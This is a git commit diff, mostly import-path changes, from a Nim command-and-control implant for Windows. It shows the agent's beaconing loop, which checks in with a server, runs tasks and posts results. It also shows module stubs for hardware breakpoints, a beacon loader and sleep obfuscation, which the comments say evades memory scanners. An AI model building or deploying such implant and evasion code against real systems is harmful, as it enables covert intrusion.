Updated directory structure and added simple 'exit' command to terminate an agent.

This commit is contained in:
Jakob Friedl
2025-10-23 17:28:07 +02:00
parent c6875e5eb2
commit 432f37755c
25 changed files with 90 additions and 28 deletions

View File

@@ -1,6 +1,6 @@
import winim/[lean, clr]
import os, strformat, strutils, sequtils
import ./[hwbp, io]
import ../utils/[hwbp, io]
import ../../common/[types, utils]
#[

View File

@@ -1,6 +1,6 @@
import winim/lean
import os, strformat, strutils, ptr_math
import ./[beacon, io]
import ../utils/[beacon, io]
import ../../common/[types, utils, serialize]
#[

View File

@@ -1,5 +1,5 @@
import parsetoml, base64, system
import ./io
import ../utils/io
import ../../common/[types, utils, crypto, serialize]
const CONFIGURATION {.strdefine.}: string = ""

View File

@@ -1,5 +1,5 @@
import httpclient, json, strformat, strutils, asyncdispatch, base64, tables, parsetoml, random
import ./io
import ../utils/io
import ../../common/[types, utils, profile]
proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string =

View File

@@ -1,8 +1,7 @@
import winim/lean
import winim/inc/tlhelp32
import os, system, strformat, random
import ./[cfg, io]
import ../utils/[cfg, io]
import ../../common/[types, utils, crypto]
# Different sleep obfuscation techniques, reimplemented in Nim (Ekko, Zilean, Foliage)

View File

@@ -1,6 +1,6 @@
import winim/lean
import strformat
import ./io
import ../utils/io
import ../../common/[types, utils]
#[

View File

@@ -1,6 +1,7 @@
import strformat, os, times, system, base64, random
import core/[http, context, sleepmask, io]
import core/[http, context, sleepmask]
import utils/io
import protocol/[task, result, heartbeat, registration]
import ../common/[types, utils, crypto]
@@ -24,21 +25,21 @@ proc main() =
#[
Agent routine:
1. Sleep Obfuscation
2. Retrieve task from /tasks endpoint
3. Execute task and post result to /results
4. If additional tasks have been fetched, go to 2.
2. Retrieve tasks via checkin request to a GET endpoint
3. Execute task and post result
4. If additional tasks have been fetched, go to 3.
5. If no more tasks need to be executed, go to 1.
]#
while true:
# Sleep obfuscation to evade memory scanners
sleepObfuscate(ctx.sleepSettings)
let date: string = now().format("dd-MM-yyyy HH:mm:ss")
let date: string = now().format(protect("dd-MM-yyyy HH:mm:ss"))
print "\n", fmt"[*] [{date}] Checking in."
try:
# Retrieve task queue for the current agent by sending a check-in/heartbeat request
# The check-in request contains the agentId, listenerId, so the server knows which tasks to return
# The check-in request contains the agentId and listenerId, so the server knows which tasks to return
var heartbeat: Heartbeat = ctx.createHeartbeat()
let
heartbeatBytes: seq[byte] = ctx.serializeHeartbeat(heartbeat)

View File

@@ -1,7 +1,7 @@
import strutils, tables, json, strformat, zippy
import ./result
import ../core/io
import ../utils/io
import ../../modules/manager
import ../../common/[types, serialize, sequence, crypto, utils]